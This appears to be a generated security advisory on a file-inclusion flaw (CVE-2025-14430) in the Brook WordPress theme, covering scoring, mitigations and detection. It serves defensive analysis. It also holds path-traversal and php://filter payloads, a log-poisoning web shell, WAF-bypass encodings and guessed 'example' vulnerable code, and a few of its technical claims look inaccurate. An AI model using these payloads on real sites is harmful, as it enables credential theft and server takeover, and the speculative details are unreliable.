Comprehensive Technical Analysis of CVE-2025-14430

CVE ID: CVE-2025-14430 Vulnerability Type: PHP Local File Inclusion (LFI) via Improper Control of Filename for Include/Require Statement Affected Software: ThemeMove Brook – Agency Business Creative (WordPress Theme) Affected Versions: ≤ 2.8.9 CVSS Score: 9.8 (Critical) Published: January 8, 2026 Source: PatchStack Vulnerability Database

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Classification

CVE-2025-14430 is classified as a PHP Local File Inclusion (LFI) vulnerability, stemming from improper control of filenames in include/require statements within the Brook WordPress theme. While the description mentions a potential Remote File Inclusion (RFI) risk, the confirmed impact is LFI, which allows attackers to read arbitrary files on the server.

CVSS v3.1 Scoring Breakdown

Metric	Score	Justification
Attack Vector (AV)	Network (N)	Exploitable remotely via HTTP requests.
Attack Complexity (AC)	Low (L)	No special conditions required; trivial to exploit.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Attackers can read sensitive files (e.g., /etc/passwd, wp-config.php).
Integrity (I)	High (H)	Potential for code execution if combined with file upload vulnerabilities.
Availability (A)	High (H)	Could lead to DoS via resource exhaustion (e.g., reading large files).
Base Score	9.8 (Critical)	Aligns with the high-impact nature of LFI vulnerabilities.

Severity Justification

• Critical Impact: LFI vulnerabilities can lead to sensitive data exposure, arbitrary code execution (ACE), and server compromise if chained with other exploits (e.g., log poisoning, file upload flaws).
• Exploitability: The vulnerability is trivially exploitable with minimal prerequisites, making it a high-priority target for attackers.
• Prevalence: WordPress themes are widely deployed, increasing the attack surface.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability arises from unsanitized user input being passed to PHP’s include(), require(), include_once(), or require_once() functions. Attackers can manipulate file paths to access sensitive files on the server.

Example Attack Scenario:

1. Identify Vulnerable Endpoint:

   • The Brook theme likely includes a PHP file (e.g., template-loader.php, functions.php) that dynamically includes files based on user input (e.g., ?page=about).
   • Example vulnerable code:

     $page = $_GET['page'];
     include("templates/" . $page . ".php");
     

   • If $page is not sanitized, an attacker could inject path traversal sequences (../).

2. Exploit Path Traversal:

   • Basic LFI:

     https://example.com/wp-content/themes/brook/?page=../../../../../../etc/passwd
     

   • PHP Wrapper Exploitation (if allow_url_include is enabled):

     https://example.com/wp-content/themes/brook/?page=php://filter/convert.base64-encode/resource=wp-config.php
     

     • This retrieves wp-config.php in base64, revealing database credentials.

3. Chaining with Other Vulnerabilities:

   • Log Poisoning: If the server logs user-controlled input (e.g., User-Agent), an attacker could inject PHP code into logs and include them via LFI.
   • File Upload Flaws: If the theme allows file uploads, an attacker could upload a malicious .php file and include it via LFI to achieve Remote Code Execution (RCE).

Proof-of-Concept (PoC)

A basic PoC to test for LFI:

GET /wp-content/themes/brook/?page=../../../../../../etc/passwd HTTP/1.1
Host: vulnerable-site.com

Expected Response:

• If vulnerable, the server returns the contents of /etc/passwd.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: ThemeMove Brook – Agency Business Creative (WordPress Theme)
• Vendor: ThemeMove
• Affected Versions: All versions ≤ 2.8.9
• Platform: WordPress (self-hosted installations)

Prerequisites for Exploitation

• The vulnerable theme must be installed and active on a WordPress site.
• The server must be running PHP (common in WordPress environments).
• No authentication is required for exploitation.

Non-Affected Systems

• WordPress sites not using the Brook theme.
• Brook theme versions ≥ 2.9.0 (assuming the vendor patches the issue).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Apply Vendor Patch:

   • Update the Brook theme to the latest patched version (if available).
   • Monitor PatchStack’s advisory for updates.

2. Temporary Workarounds (if patch unavailable):

   • Disable the Theme: Switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is applied.
   • Input Sanitization: Manually audit the theme’s PHP files for unsafe include/require statements and sanitize user input.

     // Example fix: Whitelist allowed files
     $allowed_pages = ['about', 'contact', 'services'];
     $page = in_array($_GET['page'], $allowed_pages) ? $_GET['page'] : 'default';
     include("templates/" . $page . ".php");
     

   • Disable PHP Execution in Upload Directories:
     • Add .htaccess rules to block PHP execution in /wp-content/uploads/:

       <FilesMatch "\.php$">
         Deny from all
       </FilesMatch>
       

3. Web Application Firewall (WAF) Rules:

   • Deploy a WAF (e.g., ModSecurity, Cloudflare, AWS WAF) with rules to block path traversal attempts:

     SecRule ARGS "@pmFromFile /path/to/lfi-payloads.txt" "id:1000,deny,status:403"
     

Long-Term Mitigations

1. Secure Coding Practices:

   • Avoid Dynamic Includes: Use static file paths or whitelists for include/require.
   • Disable Dangerous PHP Functions:
     • Set disable_functions = exec,passthru,shell_exec,system in php.ini.
     • Disable allow_url_include to prevent RFI.
   • Use basename() for File Paths:

     $page = basename($_GET['page']); // Prevents path traversal
     

2. Regular Vulnerability Scanning:

   • Use tools like WPScan, Nessus, or Burp Suite to detect LFI/RFI vulnerabilities.
   • Monitor CISA KEV (Known Exploited Vulnerabilities) and PatchStack for updates.

3. Least Privilege Principle:

   • Restrict file system permissions (e.g., chmod 640 for sensitive files).
   • Run the web server (e.g., Apache/Nginx) as a non-root user.

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5. Impact on the Cybersecurity Landscape

Exploitation Trends

• WordPress Targeting: WordPress themes/plugins are frequent targets due to their widespread use and historical vulnerabilities (e.g., CVE-2021-25287, CVE-2022-3394).
• Automated Exploitation: Attackers use scanners (e.g., Nuclei, WPScan) to identify vulnerable sites, leading to mass exploitation.
• Ransomware & Cryptojacking: LFI vulnerabilities are often chained with RCE to deploy ransomware (e.g., LockBit) or cryptominers.

Broader Implications

• Supply Chain Risks: Third-party themes/plugins introduce supply chain vulnerabilities, affecting thousands of sites.
• Compliance Violations: Exploitation could lead to GDPR, HIPAA, or PCI DSS violations if sensitive data is exposed.
• Reputation Damage: A successful attack can erode customer trust and lead to financial losses.

Historical Context

• Similar vulnerabilities:
  • CVE-2021-25287 (WordPress File Manager RCE)
  • CVE-2022-3394 (WordPress Backup Migration LFI)
• Lessons Learned: Vendors must enforce secure coding standards and automate patch distribution to reduce exposure windows.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper input validation in the Brook theme’s PHP code, where user-controlled input (e.g., $_GET['page']) is directly concatenated into an include statement without sanitization.

Vulnerable Code Example:

// Insecure code (hypothetical example)
$template = $_GET['template'];
include("templates/" . $template . ".php");

Attacker Input:

template=../../../../../../etc/passwd%00

• The %00 (null byte) may bypass .php extension appending in older PHP versions.

Exploitation Techniques

1. Basic LFI:

   • Read /etc/passwd, /etc/shadow (if permissions allow).
   • Access wp-config.php to extract database credentials.

2. PHP Wrapper Exploitation:

   • Base64 Encoding:

     php://filter/convert.base64-encode/resource=wp-config.php
     

   • Zlib Compression:

     php://filter/zlib.deflate/resource=wp-config.php
     

3. Log Poisoning (if combined with LFI):

   • Inject PHP code into logs (e.g., via User-Agent):

     GET / HTTP/1.1
     User-Agent: <?php system($_GET['cmd']); ?>
     

   • Include the log file via LFI:

     https://example.com/wp-content/themes/brook/?page=../../../../../../var/log/apache2/access.log
     

   • Execute commands:

     https://example.com/wp-content/themes/brook/?cmd=id
     

4. RCE via File Upload + LFI:

   • Upload a malicious .php file (if the theme allows uploads).
   • Include the uploaded file via LFI to execute arbitrary code.

Detection & Forensics

1. Log Analysis:

   • Look for path traversal sequences (../, ..\) in HTTP logs.
   • Check for unusual file access (e.g., /etc/passwd, wp-config.php).

2. File Integrity Monitoring (FIM):

   • Use tools like Tripwire or AIDE to detect unauthorized file access.

3. Network Traffic Analysis:

   • Monitor for outbound connections from the web server (indicative of data exfiltration).

4. Memory Forensics:

   • Use Volatility or Rekall to analyze memory dumps for injected PHP code.

Advanced Exploitation (Red Team Perspective)

1. Bypassing WAFs:

   • Encoding Bypass:

     %2e%2e%2f%2e%2e%2fetc%2fpasswd
     

   • Double URL Encoding:

     %252e%252e%252fetc%252fpasswd
     

   • Null Byte Injection (PHP < 5.3.4):

     ../../../../etc/passwd%00
     

2. Post-Exploitation:

   • Database Dumping: Use extracted credentials to dump the WordPress database.
   • Backdoor Installation: Upload a web shell (e.g., <?php system($_GET['cmd']); ?>).
   • Lateral Movement: Pivot to other systems using stolen credentials.

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Conclusion & Recommendations

CVE-2025-14430 is a critical LFI vulnerability in the Brook WordPress theme, posing severe risks to affected systems. Given its CVSS 9.8 score and ease of exploitation, immediate action is required:

1. Patch Immediately: Update to the latest theme version as soon as a fix is released.
2. Implement Workarounds: Apply input sanitization, disable dangerous PHP functions, and deploy WAF rules.
3. Monitor for Exploitation: Analyze logs for signs of compromise and conduct forensic investigations if breached.
4. Enhance Defenses: Adopt secure coding practices, least privilege principles, and regular vulnerability scanning.

Security teams should prioritize this vulnerability due to its high exploitability and potential for severe impact, including data breaches, RCE, and server compromise.

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References:

• PatchStack Advisory
• OWASP LFI Cheat Sheet
• CISA KEV Catalog